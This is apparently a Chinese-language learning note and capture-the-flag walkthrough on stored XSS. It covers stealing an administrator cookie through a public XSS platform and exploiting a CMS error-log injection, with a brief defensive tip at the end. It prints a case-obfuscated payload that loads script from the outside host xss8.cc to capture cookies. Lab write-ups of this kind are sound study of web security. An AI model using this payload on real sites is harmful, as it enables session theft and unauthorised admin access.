只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!
存储型XSS实操
上一篇文章简单介绍了一下反射型XSS的原理和靶场实战,因为其本身的特点(不进入目标服务器,持久性也较短,危害会低很多)。再次来了解一下存储型XSS的利用
先来看一下,如何用存储型XSS
获取网站管理员Cookie
,然后登陆到网站后台
这里也存在XSS,输入<script>alert(1)</script>
到注册信息的地方点击注册,会自动登陆刚刚注册的账户,登陆完成之后就会弹窗。我们现在用XSS平台
来实际获取一下管理员Cookie
试一下
XSS平台:
地址:https://xss8.cc/xss.php
复制最后这行代码到刚刚注册地方,和刚刚一样点击注册登陆。
这里就成功的获得了Cookie
,也能拿着这个Cookie
去登陆刚刚的网站
填入刚刚的cookie,点击刷新,就进入了网站的后台。
储存型XSS靶场
看页面的最下方落款,该靶场是一个CMS
,根据这个指纹,去百度找找这个版本所报出来的漏洞
(这段内容基本但是摘抄人家的,我没有对其搭建环境复现)
漏洞:储存型xss
https://www.jianshu.com/p/b114d4220971?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation
文章的意思大概就是:
可通过构造URL,让后台生成错误日志,而后台对错误日志的内容写入没有进行安全检查,导致写入的内容原原本本的显示在错误日志的页面中,当管理员在后台查看错误日志时,就会触发XSS代码。
右键点击审查元素,可以看到成功插入自己添加的js代码:
用管理员账号密码登入后台,查看错误日志,XSS代码成功执行:
既然这个CMS的靶场存在这样的问题,那我们这个靶场多半也有这样的问题存在,所以用刚刚的XSS平台,然后构建url去测试一下
测试语句:
index.php?c=mail&m=test<sCRiPt/SrC=//xss8.cc/8ucD>
在最后就拿到了flag
漏洞总结
XSS的防护方法可采用设置实体编码函数来处理,但记得要将单引号和尖括号设置进去,因为实体编码的函数,默认只会对双引号进行实体编码
《最好的防御,是明白其怎么实施的攻击》